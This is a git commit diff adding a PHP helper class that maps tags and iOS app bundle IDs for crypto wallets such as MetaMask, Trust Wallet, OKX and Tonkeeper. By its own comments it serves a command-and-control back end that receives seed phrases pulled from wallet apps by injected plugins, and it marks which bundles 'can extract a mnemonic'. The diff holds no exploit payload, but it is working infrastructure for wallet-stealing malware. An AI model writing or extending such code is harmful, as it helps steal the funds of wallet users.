feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+81
View File
@@ -28,11 +28,62 @@ final class WalletSource
'h' => 'Uniswap',
'h1' => 'Uniswap',
't' => 'OKX',
'c' => 'TronLink',
'f' => 'BitKeep',
's' => 'Solflare',
'tg' => 'Telegram',
// lab / fixture aliases
'tp' => 'TokenPocket',
'im' => 'imToken',
];
/**
* Display names for plugin wallet bundle IDs (mnemonic-capable).
*
* @var array<string, string>
*/
private const BUNDLE_LABELS = [
'im.token.app' => 'imToken',
'io.metamask' => 'MetaMask',
'io.metamask.MetaMask' => 'MetaMask',
'com.wallet.crypto.trustapp' => 'Trust Wallet',
'com.sixdays.trust' => 'Trust Wallet',
'com.okex.wallet' => 'OKX',
'com.okex.OKExAppstoreFull' => 'OKX',
'com.coinbase.wallet' => 'Coinbase Wallet',
'org.toshi.distribution' => 'Coinbase Wallet',
'com.exodus' => 'Exodus',
'exodus-movement.exodus' => 'Exodus',
'app.phantom' => 'Phantom',
'com.uniswap.mobile' => 'Uniswap',
'com.tronlinkpro.wallet' => 'TronLink',
'com.tronlink.hdwallet' => 'TronLink',
'com.mytonwallet.app' => 'MyTonWallet',
'org.mytonwallet.app' => 'MyTonWallet',
'com.tonhub.app' => 'Tonhub',
'com.tonkeeper.app' => 'Tonkeeper',
'com.jbig.tonkeeper' => 'Tonkeeper',
'vip.mytokenpocket' => 'TokenPocket',
'com.bitkeep.wallet' => 'BitKeep',
'com.bitkeep.os' => 'BitKeep',
'com.bitpie' => 'Bitpie',
'com.bitpie.wallet' => 'Bitpie',
'com.coin98' => 'Coin98',
'coin98.crypto.finance.insights' => 'Coin98',
'com.solflare.mobile' => 'Solflare',
'com.roninchain.wallet' => 'Ronin',
'com.skymavis.Genesis' => 'Ronin',
'com.krystal.wallet' => 'Krystal',
'com.kyrd.krystal.ios' => 'Krystal',
'com.global.wallet.ios' => 'Global Wallet',
];
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
private const NON_MNEMONIC_BUNDLES = [
'ph.telegra.Telegraph',
'net.whatsapp.WhatsApp',
];
public static function fromTag(mixed $tag): string
{
if (! is_string($tag) || $tag === '') {
@@ -43,6 +94,36 @@ final class WalletSource
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
}
/**
* True when this bundle is a business plugin that can extract a mnemonic.
*/
public static function isPluginWalletBundle(string $bundle): bool
{
$bundle = trim($bundle);
if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) {
return false;
}
if (isset(self::BUNDLE_LABELS[$bundle])) {
return true;
}
$configured = config('coruna.wallet_bundles', []);
return is_array($configured) && in_array($bundle, $configured, true)
&& ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true);
}
public static function labelForBundle(string $bundle, ?string $fallback = null): string
{
$bundle = trim($bundle);
if (isset(self::BUNDLE_LABELS[$bundle])) {
return self::BUNDLE_LABELS[$bundle];
}
$fallback = trim((string) $fallback);
return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown');
}
/**
* Chains we persist from C2 ingest (skip UNKNOWN / niche networks).
*